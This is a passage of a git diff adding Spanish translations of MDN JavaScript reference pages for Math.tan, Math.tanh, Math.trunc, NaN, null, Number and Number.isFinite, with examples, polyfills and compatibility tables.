+<p>El método <code>Math.tan()</code> retorna un valor numérico que representa la tangente de un ángulo.</p>
+
+<p>Dado que <code>tan()</code> es un método estático de <code>Math</code>, siempre debes usarlo como <code>Math.tan()</code>, y no como un método de un objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.tan">Usando <code>Math.tan()</code></h3>
+
+<pre class="brush: js">Math.tan(1); // 1.5574077246549023
+</pre>
+
+<p>Ya que la función <code>Math.tan()</code> acepta radianes, pero es más fácil trabajar con grados, la siguiente función acepta un valor en grados, lo convierte a radianes, y retorna la tangente de dicho valor.</p>
+
+<pre class="brush: js">function getTanDeg(deg) {
+  var rad = deg * Math.PI/180;
+  return Math.tan(rad);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quieres contribuir a los datos, por favor consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, y envíanos un <em>Pull Request</em>.</p>
+
+<p>{{Compat("javascript.builtins.Math.tan")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/tanh/index.html b/files/es/web/javascript/referencia/objetos_globales/math/tanh/index.html
new file mode 100644
index 0000000000..138c466b37
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/tanh/index.html
@@ -0,0 +1,95 @@
+---
+title: Math.tanh()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/tanh
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh
+---
+<div>{{JSRef}}</div>
+
+<p>La funcion <strong><code>Math.tanh()</code></strong> devuelve la hyperbolica tangente de un numero, esto es </p>
+
+<p><math display="block"><semantics><mrow><mo lspace="0em" rspace="0em">tanh</mo><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">sinh</mo><mi>x</mi></mrow><mrow><mo lspace="0em" rspace="0em">cosh</mo><mi>x</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>-</mo><mn>1</mn></mrow><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="TeX">\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tanh.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.tanh(<var>x</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Devolver_valor">Devolver valor</h3>
+
+<p>La hyperbolica tangente del numero obtenido.</p>
+
+<h2 id="Descripcion">Descripcion</h2>
+
+<p>Porque <code>tanh()</code> es un metodo estatico de <code>Math</code>, siempre se usa como <code>Math.tanh()</code>, en lugar de ser un metodo de <code>Math</code> objeto que creas (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.tanh()">Usando <code>Math.tanh()</code></h3>
+
+<pre class="brush: js">Math.tanh(0);        // 0
+Math.tanh(Infinity); // 1
+Math.tanh(1);        // 0.7615941559557649
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Esto puede ser emulado con ayuda de {{jsxref("Math.exp()")}} funcion:</p>
+
+<pre class="brush: js">Math.tanh = Math.tanh || function(x){
+    var a = Math.exp(+x), b = Math.exp(-x);
+    return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.tanh', 'Math.tanh')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>
+    <p>Definicion inicial.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La compatibilidad de la tabla en esta pagina esta generada desde una structura data. Si quiers contribuir a la data, visita  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un propuesta.</p>
+
+<p>{{Compat("javascript.builtins.Math.tanh")}}</p>
+
+<h2 id="sect1"> </h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/trunc/index.html b/files/es/web/javascript/referencia/objetos_globales/math/trunc/index.html
new file mode 100644
index 0000000000..9efe511927
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/trunc/index.html
@@ -0,0 +1,144 @@
+---
+title: Math.trunc()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/trunc
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Math
+  - Método(2)
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.trunc()</code></strong> devuelve la parte entera de un numero removiendo cualquier dígito decimal (dígitos situados después de la coma).</p>
+
+<h2 id="Sintaxis.">Sintaxis.</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.trunc(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros.">Parámetros.</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno.">Valor de retorno.</h3>
+
+<p>La parte entera del número dado.</p>
+
+<h2 id="Descripción.">Descripción.</h2>
+
+<p>A diferencia de los otros tres métodos de <code>Math</code>: {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} y {{jsxref("Math.round()")}}, la forma en que <code>Math.trunc()</code> funciona es muy simple.  <em>trunca</em> (corta) el punto y los dígitos a la derecha de él, sin importar si el argumento es un número positivo o negativo.</p>
+
+<p>Si el argumento es un número positivo, <code>Math.trunc()</code> es equivalente a <code>Math.floor();</code> de otra forma <code>Math.trunc()</code> es equivalente a <code>Math.ceil()</code>.</p>
+
+<p>El argumento pasado a este método será convertido a un tipo numérico entero.</p>
+
+<p>Debido a que <code>trunc()</code> es un método estático de <code>Math</code>, siempre úsalo como <code>Math.trunc()</code>, en lugar de como un método de un objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos.">Ejemplos.</h2>
+
+<h3 id="Usando_Math.trunc">Usando <code>Math.trunc()</code></h3>
+
+<pre class="brush: js notranslate">Math.trunc(13.37);    // 13
+Math.trunc(42.84);    // 42
+Math.trunc(0.123);    //  0
+Math.trunc(-0.123);   // -0
+Math.trunc('-1.123'); // -1
+Math.trunc(NaN);      // NaN
+Math.trunc('foo');    // NaN
+Math.trunc();         // NaN
+</pre>
+
+<h2 id="Polyfill.">Polyfill.</h2>
+
+<pre class="brush: js notranslate">Math.trunc = Math.trunc || function (x) {
+    return (x &lt; 0 ? Math.ceil(x) : Math.floor(x));
+}
+</pre>
+
+<h2 id="Especificaciones.">Especificaciones.</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores.">Compatibilidad con navegadores.</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también.">Vea también.</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/nan/index.html b/files/es/web/javascript/referencia/objetos_globales/nan/index.html
new file mode 100644
index 0000000000..f107f1bb3c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/nan/index.html
@@ -0,0 +1,46 @@
+---
+title: NaN
+slug: Web/JavaScript/Referencia/Objetos_globales/NaN
+tags:
+  - JavaScript
+  - Propiedad
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div>
+<p dir="ltr" id="tw-target-text">La propiedad global <code>NaN</code> es un valor que representa Not-A-Number.</p>
+</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Un valor representando un Not-A-Number (No es Un Número).</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<p><code>NaN</code></p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>NaN</code> es una propiedad del <em>global object (objeto global)</em>, por ejemplo, es una variable de alcance global.</p>
+
+<p>El valor inicial de <code>NaN</code> es Not-A-Number (No es Un Número) - lo mismo que el valor de {{jsxref("Number.NaN")}}.</p>
+
+<p><span class="comment">Keep text below in sync with Number.NaN page</span> <code>NaN</code> nunca es equivalente con cualquier otro número, incluido el mismo <code>NaN</code>; no puedes chequear el valor de un not-a-number comparándolo con <code>Number.NaN</code>. Usar la función {{jsxref("isNaN()")}} para aquello.</p>
+
+<p>Muchos métodos de JavaScript (como son el {{jsxref("Number")}} constructor, {{jsxref("parseFloat")}} y {{jsxref("parseInt")}}) retornan <code>NaN</code> si el valor especificado en el parámetro no puede ser parseado como un número.</p>
+
+<p><span class="hps">Puedes utilizar</span> <span class="hps">la propiedad</span> <code>NaN</code> <span class="hps">para indicar</span> <span class="hps">una condición de error</span> <span class="hps">para</span> tu<span class="hps"> función</span> <span class="hps">que devuelva un número</span> <span class="hps">en caso de éxito</span><span>.</span></p>
+
+<p>JavaScript imprime el valor <code>Number.NaN</code> como <code>NaN</code>.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("Objetos_globales/isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/null/index.html b/files/es/web/javascript/referencia/objetos_globales/null/index.html
new file mode 100644
index 0000000000..94d1a392c5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/null/index.html
@@ -0,0 +1,129 @@
+---
+title: 'null'
+slug: Web/JavaScript/Referencia/Objetos_globales/null
+tags:
+  - JavaScript
+  - Literal
+  - Primitivo
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El valor <code>null</code> es un literal de Javascript que representa intencionalmente un valor nulo o "vacío". Es uno de los {{Glossary("Primitive", "valores primitivos")}} de Javascript.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>null </code></pre>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El valor <code>null</code> es un literal (no una propiedad del objeto global como podría ser <code>{{jsxref("undefined", "undefined")}}</code>). En APIs, se devuelve <code>null</code> normalmente dónde se espera un objeto pero éste no es relevante. Al comparar con <code style="font-style: normal;">null</code> o  <code>{{jsxref("undefined", "undefined")}}</code><code> </code>hay que tener en cuenta las <a href="/es/docs/Web/JavaScript/Referencia/Operadores/Comparison_Operators">diferencias entre los operadores de igualdad (==) e identidad (===) </a>(con el primero se realiza una conversión de tipo).</p>
+
+<pre class="brush: js">// foo no existe, no está definido y nunca ha sido inicializado:
+&gt; foo
+"ReferenceError: foo is not defined"
+
+// foo existe, pero no tiene tipo ni valor:
+&gt; var foo = null; foo
+"null"
+</pre>
+
+<h3 id="Diferencias_entre_null_y_undefined">Diferencias entre <code>null</code> y <code>undefined</code></h3>
+
+<pre class="brush: js">typeof null        // object (bug en ECMAScript, debería ser null)
+typeof undefined   // undefined
+null === undefined // false
+null  == undefined // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("undefined", "undefined")}}</li>
+ <li>{{jsxref("NaN", "NaN")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/index.html b/files/es/web/javascript/referencia/objetos_globales/number/index.html
new file mode 100644
index 0000000000..72c1425b8b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/index.html
@@ -0,0 +1,181 @@
+---
+title: Number
+slug: Web/JavaScript/Referencia/Objetos_globales/Number
+tags:
+  - JavaScript
+  - Number
+  - Referencia
+  - Referência(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number</code></strong> es un objeto primitivo envolvente que permite representar y manipular valores numéricos cómo 37 o -9.25. El constructor Number contiene constantes y métodos para trabajar con números. Valores de otro tipo pueden ser convertidos a números usando la función Number().</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">new Number(<em>value</em>);
+var <em>a</em> = new Number('123'); // a === 123 es false
+var <em>b</em> = Number('123'); // b === 123 es true
+<em>a</em> instanceof Number; // es true
+<em>b</em> instanceof Number; // es false</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El valor numérico de un objeto que está siendo creado.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Los principales usos del objeto <code>Number(valor)</code> son convertir un string u otro valor a uno de tipo numérico; si el argumento no puede ser convertido a un número, devuelve {{jsxref("NaN")}}.</p>
+
+<h3 id="Literal_syntax">Literal syntax</h3>
+
+<pre class="notranslate">123    // one-hundred twenty-three
+123.0  // same
+123 === 123.0  // true</pre>
+
+<h3 id="Function_syntax">Function syntax</h3>
+
+<pre class="notranslate">Number('123')  // retorna el número 123
+Number('123') === 123  // retorna true
+
+Number("unicorn")  // NaN
+Number(undefined)  // NaN</pre>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/Number"><code>Number()</code></a></dt>
+ <dd>Crea un nuevo valor Numérico ( <code>Number</code> value).</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}}</dt>
+ <dd>El intervalo más pequeño entre dos números representables</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}}</dt>
+ <dd>El número máximo representable en JavaScript (<code>2<sup>53</sup> - 1</code>).</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>El número más grande representable.</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}}</dt>
+ <dd>El número mínimo representable en JavaScript (<code>-(2<sup>53</sup> - 1)</code>).</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>El número más pequeño representable - que es el número positivo más cercano a cero (sin llegar a ser cero)-.</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>Valor especial "no es número" NaN.</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>Valor especial para representar infinitos negativos; retorno de un desborde de pila overflow.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>Valor especial para representar infinitos positivos; retorno de un desborde de pila overflow.</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd>Permite la adición de propiedades a un objeto <code>Number</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}}</dt>
+ <dd>Determina si el valor es NaN.</dd>
+ <dt>{{jsxref("Number.isFinite()")}}</dt>
+ <dd>Determina si el valor es un numero infinito.</dd>
+ <dt>{{jsxref("Number.isInteger()")}}</dt>
+ <dd>Determina si un numero es entero.</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}}</dt>
+ <dd>Determine si el valor pasado es un entero seguro (número entre <code>-(2<sup>53</sup> - 1)</code> y <code>2<sup>53</sup> - 1</code>).</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Se usa para evaluar el valor pasado y convertirlo en un entero (or {{jsxref("Global_Objects/Infinity", "Infinity")}}), pero ha sido eliminado.</s></dd>
+ <dt>{{jsxref("Number.parseFloat()")}}</dt>
+ <dd>El valor es el mismo que {{jsxref ("parseFloat", "parseFloat ()")}} del objeto global.</dd>
+ <dt>{{jsxref("Number.parseInt()")}}</dt>
+ <dd>El valor es el mismo que {{jsxref("parseInt", "parseInt()")}} del objeto global.</dd>
+</dl>
+
+<h2 id="Instancias_Number">Instancias <code>Number</code></h2>
+
+<p>Todas las instancias <code>Number</code> heredan de {{jsxref("Number.prototype")}}. El objeto prototipo del constructor de <code>Number</code> puede modificarse para aceptar a todas las instancias de <code>Number</code>.</p>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()" ,"Number.prototype.toExponential(<var>fractionDigits</var>)")}}</dt>
+ <dd>Devuelve una cadena que representa el número en notación exponencial.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toFixed()", "Number.prototype.toFixed(<var>digits</var>)")}}</dt>
+ <dd>Devuelve una cadena que representa el número en notación de punto fijo.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([<var>locales</var> [, <var>options</var>]])")}}</dt>
+ <dd>Devuelve una cadena con una representación sensible al idioma de este número. Invalida el método {{jsxref ("Object.prototype.toLocaleString ()")}}.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Utilizando_el_objeto_Number_para_asignar_valores_a_variables_num.C3.A9ricas" name="Ejemplo:_Utilizando_el_objeto_Number_para_asignar_valores_a_variables_num.C3.A9ricas">Ejemplo: Utilizando el objeto <code>Number</code> para asignar valores a variables numéricas</h3>
+
+<p>El siguiente ejemplo utiliza las propiedades del objeto <code>Number</code> para asignar valores a varias variables numéricas:</p>
+
+<pre class="brush: js notranslate">const MásgrandeNum    = Number.MAX_VALUE;
+const MáspequeNum     = Number.MIN_VALUE;
+const infinitoNum     = Number.POSITIVE_INFINITY;
+const notInfinitoNum  = Number.NEGATIVE_INFINITY;
+const noEsNum         = Number.NaN;
+</pre>
+
+<h3 id="Ejemplo_Utilizando_el_objeto_Number_para_modificar_todos_los_objetos__Number" name="Ejemplo:_Utilizando_el_objeto_Number_para_modificar_todos_los_objetos__Number">Intervalo de enteros para Number</h3>
+
+<p>El siguiente ejemplo muestra los valores máximos y minimos que pueden ser representados mediante el objeto Number: </p>
+
+<p>Cuando se analizan datos que se han serializado en JSON, se puede esperar que los valores enteros que se encuentran fuera de este rango se corrompan cuando el analizador JSON los coacciona al tipo Number.</p>
+
+<p>Una posible solución es usar {{jsxref ("String")}} en su lugar.</p>
+
+<p>Los números más grandes se pueden representar usando el tipo {{jsxref ("BigInt")}}.</p>
+
+<pre class="notranslate">const biggestInt  = Number.MAX_SAFE_INTEGER  //  (<code>2<sup>53</sup> - 1</code>) =&gt;  9007199254740991
+const smallestInt = Number.MIN_SAFE_INTEGER  // -(<code>2<sup>53</sup> - 1</code>) =&gt; -9007199254740991</pre>
+
+<h3 id="Ejemplo_Utilizando_el_objeto_Number_para_modificar_todos_los_objetos__Number" name="Ejemplo:_Utilizando_el_objeto_Number_para_modificar_todos_los_objetos__Number">Ejemplo: Utilizando el objeto <code>Number</code> para modificar todos los objetos <code>Number</code></h3>
+
+<p>El siguiente ejemplo crea un objeto Number, miNúmero, luego añade la propiedad descripción a todos los objetos Number. Luego el valor es asignado a la propiedad descripción del objeto miNúmero.</p>
+
+<pre class="brush: js notranslate">miNúmero = new Number(65);
+Number.prototype.descripción = null;
+miNúmero.descripción = "velocidad del viento";
+</pre>
+
+<h3 id="Utilizando_el_objecto_Number_para_transformar_un_objeto_Date">Utilizando el objecto <code>Number</code> para transformar un objeto <code>Date</code> </h3>
+
+<p>El siguiente ejemplo convierte el objeto {{jsxref ("Date")}} a un valor numérico usando <code>Number</code>  como función:</p>
+
+<pre class="notranslate"><code>var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d));</code></pre>
+
+<p>Esto muestra "819199440000".</p>
+
+<h3 id="Convierte_cadenas_numéricas_a_números">Convierte cadenas numéricas a números</h3>
+
+<pre class="notranslate"><code>Number('123')     // 123
+Number('12.3')    // 12.3
+Number('123e-1')  // 12.3
+Number('')        // 0
+Number('0x11')    // 17
+Number('0b11')    // 3
+Number('0o11')    // 9
+Number('foo')     // NaN
+Number('100a')    // NaN</code></pre>
+
+<pre dir="rtl">Number('-Infinity') //-Infinity</pre>
+
+
+
+<h3 id="Vea_También">Vea También</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}</li>
+ <li>{{jsxref("Global_Objects/Math", "Math")}}</li>
+ <li>{{jsxref("Arithmetic operators")}} </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/isfinite/index.html b/files/es/web/javascript/referencia/objetos_globales/number/isfinite/index.html
new file mode 100644
index 0000000000..f26af9f671
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/isfinite/index.html
@@ -0,0 +1,88 @@
+---
+title: Number.isFinite()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/isFinite
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Number.isFinite()</code></strong> determina si el valor pasado es un número finito.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Number.isFinite(valor)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El valor cuya finitud será probada.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Un {{jsxref("Boolean")}} indicando si el valor dado es finito o no.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>En comparación con la funcion global {{jsxref("isFinite", "isFinite()")}} , este método no convierte el parámetro forzádamente a un número. Esto significa que solo valores de tipo númerico, que también son finitos, retornan <code>true</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">Number.isFinite(Infinity);  // false
+Number.isFinite(NaN);       // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0);         // true
+Number.isFinite(2e64);      // true
+
+Number.isFinite('0');       // false, retornaría true con la función
+                            // global isFinite('0')
+Number.isFinite(null);      // false, retornaría true con la función
+                            // global isFinite(null)
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Number.isFinite = Number.isFinite || function(value) {
+    return typeof value === 'number' &amp;&amp; isFinite(value);
+}
+</pre>
+
+<h2 id="Specificaciones">Specificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
